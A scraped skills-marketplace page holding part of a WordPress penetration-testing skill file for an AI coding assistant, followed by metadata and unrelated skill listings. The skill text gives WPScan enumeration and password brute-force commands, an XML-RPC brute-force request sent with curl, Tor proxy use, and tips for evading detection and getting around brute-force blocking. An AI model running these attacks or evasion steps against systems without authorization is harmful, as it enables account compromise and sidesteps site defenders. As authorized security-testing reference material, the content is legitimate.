param>\n\u003C\u002Fparams>\n\u003C\u002FmethodCall>\nEOF\n\ncurl -X POST -d @xmlrpc_brute.xml http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n```\n\n#### Scanning Through Proxy\n\n```bash\n# Use Tor proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy socks5:\u002F\u002F127.0.0.1:9050\n\n# HTTP proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080\n\n# Burp Suite proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080 --disable-tls-checks\n```\n\n#### HTTP Authentication\n\n```bash\n# Basic authentication\nwpscan --url http:\u002F\u002Ftarget.com --http-auth admin:password\n\n# Force SSL\u002FTLS\nwpscan --url https:\u002F\u002Ftarget.com --disable-tls-checks\n```\n\n## Quick Reference\n\n### WPScan Enumeration Flags\n\n| Flag | Description |\n|------|-------------|\n| `-e at` | All themes |\n| `-e vt` | Vulnerable themes |\n| `-e ap` | All plugins |\n| `-e vp` | Vulnerable plugins |\n| `-e u` | Users (1-10) |\n| `-e cb` | Config backups |\n| `-e dbe` | Database exports |\n\n### Common WordPress Paths\n\n| Path | Purpose |\n|------|---------|\n| `\u002Fwp-admin\u002F` | Admin dashboard |\n| `\u002Fwp-login.php` | Login page |\n| `\u002Fwp-content\u002Fuploads\u002F` | User uploads |\n| `\u002Fwp-includes\u002F` | Core files |\n| `\u002Fxmlrpc.php` | XML-RPC API |\n| `\u002Fwp-json\u002F` | REST API |\n\n### WPScan Command Examples\n\n| Purpose | Command |\n|---------|---------|\n| Basic scan | `wpscan --url http:\u002F\u002Ftarget.com` |\n| All enumeration | `wpscan --url http:\u002F\u002Ftarget.com -e at,ap,u` |\n| Password attack | `wpscan --url http:\u002F\u002Ftarget.com -U admin -P pass.txt` |\n| Aggressive | `wpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive` |\n\n## Constraints and Limitations\n\n### Legal Considerations\n- Obtain written authorization before testing\n- Stay within defined scope\n- Document all testing activities\n- Follow responsible disclosure\n\n### Technical Limitations\n- WAF may block scanning\n- Rate limiting may prevent brute-force\n- Some plugins may have false negatives\n- XML-RPC may be disabled\n\n### Detection Evasion\n- Use random user agents: `--random-user-agent`\n- Throttle requests: `--throttle 1000`\n- Use proxy rotation\n- Avoid aggressive modes on monitored sites\n\n## Troubleshooting\n\n### WPScan Shows No Vulnerabilities\n\n**Solutions:**\n1. Use API token for vulnerability database\n2. Try aggressive detection mode\n3. Check for WAF blocking scans\n4. Verify WordPress is actually installed\n\n### Brute-Force Blocked\n\n**Solutions:**\n1. Use XML-RPC method instead of wp-login\n2. Add throttling: `--throttle 500`\n3. Use different user agents\n4. Check for IP blocking\u002Ffail2ban\n\n### Cannot Access Admin Panel\n\n**Solutions:**\n1. Verify credentials are correct\n2. Check for two-factor authentication\n3. Look for IP whitelist restrictions\n4. Check for login URL changes (security plugins)\n",{"name":5,"metadata":51,"description":7},{"author":52,"version":53},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwordpress-penetration-testing",3926,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-12 14:45:56",{"source":8,"skillName":5,"commands":65,"prompt":75,"zipAvailable":76},[66,69,72],{"tool":67,"command":68},"npx","npx skills add davila7\u002Fclaude-code-templates --skill \"WordPress Penetration Testing\"",{"tool":70,"command":71},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill \"WordPress Penetration Testing\"",{"tool":73,"command":74},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill \"WordPress Penetration Testing\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwordpress-penetration-testing\u002FSKILL.md",true,[],[79,104,131,164,199,220],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":86,"publishedAt":46},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[85],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[87,88,89,90,91,33,92,93,41,32,94,95,96,97,98,99,100,101,102,103],"scoring","pool","wealthville pool scoring","liquidity","which","exit","now","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":111,"publishedAt":46},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[110],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[112,113,114,115,116,117,118,119,120,121,122,32,123,124,125,126,127,128,129,130],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":132,"name":133,"nameZh":6,"description":134,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":135,"categories":136,"keywords":146,"publishedAt":46},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[137,140,141],{"categoryNo":138,"categoryName":139,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":142,"categoryName":143,"taxonomyType":144,"taxonomyTypeDesc":145},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[147,148,149,150,151,152,153,33,154,155,156,157,158,159,160,41,161,162,32,163],"readonly","guard","sql guard","sql","readonly sql guard","erp","effect","read-only","db","just","tool","calls","only","MCP","access","database","query",{"skillNo":165,"name":166,"nameZh":6,"description":167,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":168,"licenseFileUrl":169,"sourceHtmlUrl":170,"categories":171,"keywords":175,"publishedAt":46},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[172],{"categoryNo":173,"categoryName":174,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,33,198],"artifacts builder","web","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","html","single-file","ui components",{"skillNo":200,"name":201,"nameZh":6,"description":202,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":168,"licenseFileUrl":203,"sourceHtmlUrl":204,"categories":205,"keywords":208,"publishedAt":46},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[206,207],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":173,"categoryName":174,"taxonomyType":21,"taxonomyTypeDesc":22},[209,30,210,211,212,177,213,186,187,214,215,216,217,33,218,95,219],"webapp testing","webapp","browser","playwright","applications","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":221,"name":222,"nameZh":6,"description":223,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":168,"licenseFileUrl":224,"sourceHtmlUrl":225,"categories":226,"keywords":234,"publishedAt":46},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[227,230,231],{"categoryNo":228,"categoryName":229,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":232,"categoryName":233,"taxonomyType":144,"taxonomyTypeDesc":145},"01JBSEEDCAT000000000000036","内容创作者",[235,236,237,238,239,240,241,242,179,243,189,123,244,245,246,247,248,159,249,32,250,251,252,253,254,101,255],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","content","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]